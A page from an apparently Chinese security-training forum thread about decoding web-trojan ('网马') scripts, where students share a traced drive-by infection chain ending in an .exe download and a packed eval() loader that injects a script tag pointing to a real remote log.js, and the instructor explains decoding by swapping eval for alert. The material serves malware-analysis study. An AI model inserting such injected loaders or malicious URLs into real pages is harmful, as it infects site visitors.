12345678   4  /  8  页   跳转

[讲义] 2010年2月5日[网马解密]-讲义

回复 2F 完颜无泪 的帖子

看论坛的这个教程,http://bbs.ikaka.com/showtopic-8625476.aspx,这里详细点。
gototop
 

回复:2010年2月5日[网马解密]-讲义

Log is generated by FreShow.
[wide]http://bbs.yx007.com
    [script]http://bbs.yx007.com/forumdata/cache/common.js?zbz
        [object]http://bbs.xcdx169.net/include/log.js?ZUBQFIRA
            [frame]http://game.hsw.cn/plus/img/logo.html?人06
                [script]http://game.hsw.cn/plus/img/a.jpg
                    [object]http://www.xcrc114.com/photo/Data/74.exe
                [script]http://game.hsw.cn/plus/img/b.jpg
    [script]http://w.cnzz.com/c.php?id=30025099
哇哈哈~~~成功了~
娱乐致死还是娱乐至死啊?
gototop
 

回复 13F 暗夜的雪 的帖子

这个地址:http://bbs.yx007.com/forumdata/cache/common.js?zbz,里面有个eval,你尝试去解密这个eval。
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.5(\'<0 3=2 1="6://d.7.c/b/a.8?9"></0>\')',14,14,'script|src|javascript|language|document|writeln|http|xcdx169|js|ZUBQFIRA|log|include|net|bbs'.split('|'),0,{}));}
gototop
 

回复 30F 穷小子cd 的帖子

教程里面有讲啊
gototop
 

回复 33F networkedition 的帖子

哦!刚用了alert方法,发现直接在网页中输出了字符串~后来用的ty88提供的base62解出来了~ 呵呵 谢谢老师~
娱乐致死还是娱乐至死啊?
gototop
 

回复 26F 穷小子cd 的帖子

alert在javascript里是个弹框的函数,为啥要将eval替换成alert,主要是防止解密时,将代码运行起来。通过弹框即可以将代码运行了,又不会导致代码运行后导致系统感染病毒。
gototop
 

回复 34F 完颜无泪 的帖子

不行~ 按照讲义上的直接换成alert以后,代码全都直接输出在了网页中,没有对话框显示
娱乐致死还是娱乐至死啊?
gototop
 

回复 24F Iris1011 的帖子

不是,练习题还没有出呢
gototop
 

回复 36F networkedition 的帖子

学习了,谢谢老师
gototop
 

回复:2010年2月5日[网马解密]-讲义

老师啊~  挂马的原理是什么呢?  解出马之后是关闭服务器?  对于网页挂马后有什么处理措施呢?
娱乐致死还是娱乐至死啊?
gototop
 
12345678   4  /  8  页   跳转
页面顶部
Powered by Discuz!NT